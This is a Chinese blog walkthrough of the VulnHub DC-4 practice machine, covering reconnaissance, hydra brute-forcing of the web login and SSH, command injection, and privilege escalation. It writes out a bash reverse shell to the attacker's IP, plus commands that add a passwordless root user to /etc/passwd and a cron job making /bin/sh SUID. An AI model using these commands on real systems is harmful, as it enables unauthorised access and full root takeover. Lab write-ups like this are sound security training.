【VulnHub靶机渗透】七:DC-4

VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。

文章较臃长,记录了不断测试并发现利用的过程。


文章目录

  • 一、相关简介
  • 二、渗透步骤
    • 1、信息搜集
      • 1.1、搜集
      • 1.2、总结
    • 2、漏洞发现
      • 2.1 弱口令进入Web页面
      • 2.2 命令执行漏洞
    • 3、漏洞利用
      • 3.1 反弹shell
      • 3.2 发现密码,连接ssh
    • 4、提权
      • 4.1 test.sh SUID 提权(失败)
      • 4.2 脏牛提权(失败)
      • 4.3 teehee 无密码 sudo 提权
        • 4.3.1 新建root用户提权
        • 4.3.2 定时任务添加/bin/sh SUID提权
  • 四、知识总结

一、相关简介

靶机:

该靶机设定Web登录界面的弱口令漏洞,以及站点存在命令执行,和sudo的不安全配置问题。

  • 名称:Dina-4
  • 系统:Linux Debian
  • 难度:初学者/中级
  • 目标:/root/flag.txt

环境:

  • 靶机:Dina-4——192,168.11.27
  • 攻击机:Kali——192.168.11.28
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、whatweb、MSF等

流程:

  1. 信息搜集
  2. Web站点渗透并提权

二、渗透步骤

1、信息搜集

1.1、搜集

arp-scan 主机发现
【VulnHub靶机渗透】七:DC-4_第1张图片
Nmap端口服务扫描,操作系统识别

nmap -sS -Pn -T4 -A 192.168.11.27

【VulnHub靶机渗透】七:DC-4_第2张图片
开放了2个端口,22和80端口

Web路径扫描,只扫到一个主页
【VulnHub靶机渗透】七:DC-4_第3张图片
Web指纹识别,没有有用信息。

1.2、总结

经过信息搜集,大只得到以下内容:

主机:

  • IP:192.168.11.27
  • OS:Linux 3.2 - 4.9
  • Kernel:Linux 3 / Linux 4
  • 22端口:ssh,OpenSSH - 7.4p1
  • 80端口:http,Nginx - 1.15.10

Web路径:

  • http://192.168.11.27/index.php (主页)
  • http://192.168.11.27/css/(403)
  • http://192.168.11.27/images/(403)

2、漏洞发现

对ssh服务进行弱口令爆破没有成功后,将重点转向了Web站点。

2.1 弱口令进入Web页面

Web页面只有一个登录框,使用hydra爆破,当然也可以使用BurpSuit,本次我是用hydra的Web表单提交爆破,命令如下:

hydra -L ./adminUser.txt -P ./adminPsd.txt -vV -t 10 -f 192.168.11.27 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout"

参数解释:

  • -vV:显示详细信息
  • -t 10:线程
  • -f:发现第一个就停止
  • http-post-form:http POST类型的表单提交
  • “/login.php:username=^ USER ^ &password= ^ PASS ^:S=logout”,分两部分:
    • /login.php:username=^ USER ^ &password= ^ PASS ^:提交表单的页面以及参数
    • S=logout:成功标志,不加S=即为失败标志

成功爆破出一个账户:admin :happy
在这里插入图片描述

不得不吐槽爆破这一环节了,有时候真是肉包子打狗,使用小字典吧有害怕漏了东西,使用大字典吧又费时间,还不一定能爆出,不爆破吧,又不甘心,难搞啊。

2.2 命令执行漏洞

言归正传,登录之后页面只有一个Commend的选项
【VulnHub靶机渗透】七:DC-4_第4张图片
点击后有三个选项,都是执行相应命令,并输出执行结果,比如List Files
【VulnHub靶机渗透】七:DC-4_第5张图片
既然这样那就可以抓包看一下,此处执行的是命令还是执行写好的命令对应的编号,如果执行的命令,那就可能存在命令执行漏洞。

使用BP抓包,发现果然执行的是命令
【VulnHub靶机渗透】七:DC-4_第6张图片
试了这三个选项外其他的命令也可以,尝试能否cat passwd文件,发现也可以
【VulnHub靶机渗透】七:DC-4_第7张图片

3、漏洞利用

3.1 反弹shell

ok,既然可以命令执行,那么自然想到反弹shell,使用以下语句:

echo "bash -i >& /dev/tcp/192.168.11.28/8888 0>&1" | bash

但是直接输入原语句会有特殊符号解析问题,因此需要进行url编码,使用Decoder模块编码,然后建立反弹shell,即可成功连接
【VulnHub靶机渗透】七:DC-4_第8张图片
连接成功但是不是root权限,需要提权,提权步骤后边再写。

3.2 发现密码,连接ssh

之前发现home路径下该用户还有其他文件,有一个backups备份文件很是可疑,看一下是否有信息泄漏

果然发现了端倪,有一个old-passwords.bak的文件,内容是一些密码,可能用户密码就在其中
【VulnHub靶机渗透】七:DC-4_第9张图片
系统当前连同 root 总共有4个用户
【VulnHub靶机渗透】七:DC-4_第10张图片
那么就可以利用得到的密码文件以及四个用户名去爆破ssh服务了,创建用户名和密码文件并填入相应内容,使用hydra爆破

hydra -L ./uname.txt -P ./pword.txt -t4 -vV 192.168.11.27 ssh

嚯!找到了:jim :jibril04,真滴贼,正确的密码是最后一个,总共给了250多个
【VulnHub靶机渗透】七:DC-4_第11张图片

4、提权

4.1 test.sh SUID 提权(失败)

搜一下有SUID权限的命令,发现了一个可以文件:test.sh
【VulnHub靶机渗透】七:DC-4_第12张图片
查看内容是执行几句代码,并且可以成功执行
【VulnHub靶机渗透】七:DC-4_第13张图片
看一下该用户对该文件的权限,妈耶,果然是一个线索点,居然对该文件有写权限,那就很可怕了,盲猜想要执行任何命令都可以写入该文件,就会以root权限执行。

试着写入一个反弹shell,看看是不是root权限
【VulnHub靶机渗透】七:DC-4_第14张图片
但是发现建立的连接并不是root权限,大大的疑惑
【VulnHub靶机渗透】七:DC-4_第15张图片
一定是打开方式有问题,重新写一个命令试一试,写了个id,发现执行后还是以当前用户执行。

哎呦,睡了一觉起来怎么在SUID里找不到这个文件了???
【VulnHub靶机渗透】七:DC-4_第16张图片
索性在自己的机器上试一下能否提权,输入id后发现是不可以的,还是以执行文件的用户权限来执行该命令
【VulnHub靶机渗透】七:DC-4_第17张图片
所以这条线断了,不可以提权,另辟蹊径吧。

4.2 脏牛提权(失败)

现在要做的就是登录提权了,连接ssh服务,当前用户时jim,无root权限
【VulnHub靶机渗透】七:DC-4_第18张图片
查找当前用户所有的可写文件,看看是否有提权线索,发现了一个jim 的 mail
【VulnHub靶机渗透】七:DC-4_第19张图片
打开是一封charles写给jim的邮件,说是让jim保管他的密码,给出了密码,切换用户看看有没有什么好玩的东西
【VulnHub靶机渗透】七:DC-4_第20张图片
暂时没有发现什么线索,索性使用脏牛提权试一试,但未能成功。

4.3 teehee 无密码 sudo 提权

在查看用户权限时发现有一个teehee文件可以无密码使用sudo,而且是root权限
【VulnHub靶机渗透】七:DC-4_第21张图片
查看文件帮助得知, -a 参数可以向指定文件添加内容
【VulnHub靶机渗透】七:DC-4_第22张图片
查询得知有两种思路:

  • 向passwd文件写入root权限用户
  • 向/etc/crontab文件中写入新的定时任务

1、新建用户

4.3.1 新建root用户提权

使用以下命令新建一个root权限用户abc

echo "abc::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

切换用户即可得到flag
【VulnHub靶机渗透】七:DC-4_第23张图片
2、写入定时任务

4.3.2 定时任务添加/bin/sh SUID提权

向/etc/crontab文件写入一个定时任务,当到时间时会自动执行,并且将该任务设定为执行拥有4777文件属性的/bin/sh文件,含义如下:

  • 1、文件属性777表示的是读写执行,不用多说,4代表拥有SUID权限,何为SUID权限?

    SUID(Set UID)权限是指当文件(指令)拥有该权限时,执行该文件的用户就会拥有文件拥有者的权限。(这也就解释了之前发现的test.sh不可以提权的问题,因为文件属于非root用户)

  • 2、/bin/sh是属于root用户的,但是没有SUID权限怎么提权呢?

    可以利用teehee的sudo向定时任务中写入一句修改/bin/sh属性为4777(添加SUID)的命令,执行/bin/sh即可拿到root权限

先查看/bin/sh文件属性,所属用户时root,此时还没有SUID权限
在这里插入图片描述
看看定时任务文件 /etc/crontab 的内容格式并搜索得知,在添加定时任务时将时间设定为 * 即可使得任务每分钟触发一次。

命令如下:

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

查看定时任务文件,已经存在
【VulnHub靶机渗透】七:DC-4_第24张图片
再次查看/bin/sh属性,发现已经拥有SUID
在这里插入图片描述
OK,直接使用/bin/sh开启一个新的shell环境,查看用户发现已经是root
在这里插入图片描述
至此。

四、知识总结

整体打靶流程:

  • 利用弱口令进入Web,发现命令执行漏洞;
  • 建立反弹shell,拿到普通用户jim的密码,连接ssh;
  • 在邮件中拿到另一个账户charles密码,发现该用户有sudo无密码使用权限;
  • 利用teehee命令的SUID和sudo提权至root。

知识点:

  • 在打靶场时,如果Web页面没有什么提示信息,那么多半都是弱口令漏洞,尽管爆破就可以了。
  • 提权时,可使用sudo -l命令查看当前用户的权限,或许有意外收获,比如本次的sudo无密码使用权限。
  • SUID权限是一个好东西,使用以下命令查找存在SUID权限的命令(文件):
find / -type f -perm -u=s 2>/dev/null
  • 查询得知可以使用SUID提权的命令有以下几个:
    Nmap、Vim、find、Bash、More、Less、Nano、cp

    具体见该博客:https://www.jianshu.com/p/0c22c450f971

你可能感兴趣的:(#,VulnHub综合靶机)